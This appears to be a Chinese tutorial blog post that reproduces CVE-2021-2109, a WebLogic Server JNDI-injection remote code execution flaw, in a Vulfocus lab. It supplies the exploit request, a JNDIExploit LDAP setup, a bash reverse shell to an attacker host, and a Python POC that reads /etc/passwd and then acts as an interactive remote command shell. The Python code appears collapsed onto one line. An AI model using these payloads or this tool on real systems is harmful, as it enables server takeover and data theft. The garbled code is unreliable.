复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)

2023-11-28 00:59

本文主要是介绍复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、漏洞介绍

2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。


二、影响版本

  1. WebLogic 3.6.0.0
  2. WebLogic 1.3.0.0
  3. WebLogic 2.1.3.0
  4. WebLogic 2.1.4.0

漏洞判别方式http://x.x.x.x:7001/console/css/%252e%252e%252f/consolejndi.portal

三、环境搭建

Vulfocus 靶场环境

目前 Vulfocus 已经集成多个 Weblogic 环境,可通过以下链接启动环境测试:

vulfocu

也可通过以下命令拉取本地环境运行:

docker pull vulfocus/weblogic-cve_2021_2109:latest
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 vulfocus/weblogic-cve_2021_2109:latestt

最后访问x.x.x.x:7001/console,如下说明环境搭建成功 :


 四、漏洞复现

复现方式一——命令执行

1.下载LDAP工具,地址:JNDIExploit-v1.13-网络攻防文档类资源-CSDN下载

注:运行ldap需要java1.8环境,执行java -version查看jdk版本

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 攻击机的ip

2. 抓包,payload后面加入poc,然后再在请求包头部里面加入cmd:id(命令),如下图所示:

poc如下:

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)

复现成功!

 复现方式二——反弹shell值

1. 将上面请求头中cmd字段的值改为反弹shell的语句,进行编码,网址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 

 2.攻击机开始监听

 3.将上面抓到的包cmd字段的值改为反弹shell的语句,进行发包

复现成功!


五、POC漏洞检测——(前提条件跳板机必须运行运行ldap环境才行)

import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+------------------------------------------')print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')print('+------------------------------------------')def POC_1(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "root:" in response.text:print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))else:print("\033[31m[x] 命令执行失败 \033[0m")sys.exit(0)except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)def POC_2(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)print("\033[32m[o] 响应为:\n{} \033[0m".format(response))except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))ldap_url = str(input("\033[35mLdap >>> \033[0m"))POC_1(target_url, ldap_url, cmd="cat /etc/passwd")while True:cmd = input("\033[35mCmd >>> \033[0m")if cmd == "exit":sys.exit(0)else:POC_2(target_url, ldap_url, cmd)

输出结果:

 复现成功!

这篇关于复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/428792

相关文章

Java实现远程执行Shell指令

《Java实现远程执行Shell指令》文章介绍使用JSch在SpringBoot项目中实现远程Shell操作,涵盖环境配置、依赖引入及工具类编写,详解分号和双与号执行多指令的区别... 目录软硬件环境说明编写执行Shell指令的工具类总结jsch(Java Secure Channel)是SSH2的一个纯J

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Mac电脑如何通过 IntelliJ IDEA 远程连接 MySQL

《Mac电脑如何通过IntelliJIDEA远程连接MySQL》本文详解Mac通过IntelliJIDEA远程连接MySQL的步骤,本文通过图文并茂的形式给大家介绍的非常详细,感兴趣的朋友跟... 目录MAC电脑通过 IntelliJ IDEA 远程连接 mysql 的详细教程一、前缀条件确认二、打开 ID

SQL Server 查询数据库及数据文件大小的方法

《SQLServer查询数据库及数据文件大小的方法》文章介绍了查询数据库大小的SQL方法及存储过程实现,涵盖当前数据库、所有数据库的总大小及文件明细,本文结合实例代码给大家介绍的非常详细,感兴趣的... 目录1. 直接使用SQL1.1 查询当前数据库大小1.2 查询所有数据库的大小1.3 查询每个数据库的详

Spring Boot 整合 SSE(Server-Sent Events)实战案例(全网最全)

《SpringBoot整合SSE(Server-SentEvents)实战案例(全网最全)》本文通过实战案例讲解SpringBoot整合SSE技术,涵盖实现原理、代码配置、异常处理及前端交互,... 目录Spring Boot 整合 SSE(Server-Sent Events)1、简述SSE与其他技术的对

SQL Server跟踪自动统计信息更新实战指南

《SQLServer跟踪自动统计信息更新实战指南》本文详解SQLServer自动统计信息更新的跟踪方法,推荐使用扩展事件实时捕获更新操作及详细信息,同时结合系统视图快速检查统计信息状态,重点强调修... 目录SQL Server 如何跟踪自动统计信息更新:深入解析与实战指南 核心跟踪方法1️⃣ 利用系统目录

SQL Server 中的 WITH (NOLOCK) 示例详解

《SQLServer中的WITH(NOLOCK)示例详解》SQLServer中的WITH(NOLOCK)是一种表提示,等同于READUNCOMMITTED隔离级别,允许查询在不获取共享锁的情... 目录SQL Server 中的 WITH (NOLOCK) 详解一、WITH (NOLOCK) 的本质二、工作

SQL Server安装时候没有中文选项的解决方法

《SQLServer安装时候没有中文选项的解决方法》用户安装SQLServer时界面全英文,无中文选项,通过修改安装设置中的国家或地区为中文中国,重启安装程序后界面恢复中文,解决了问题,对SQLSe... 你是不是在安装SQL Server时候发现安装界面和别人不同,并且无论如何都没有中文选项?这个问题也

SQL server数据库如何下载和安装

《SQLserver数据库如何下载和安装》本文指导如何下载安装SQLServer2022评估版及SSMS工具,涵盖安装配置、连接字符串设置、C#连接数据库方法和安全注意事项,如混合验证、参数化查... 目录第一步:打开官网下载对应文件第二步:程序安装配置第三部:安装工具SQL Server Manageme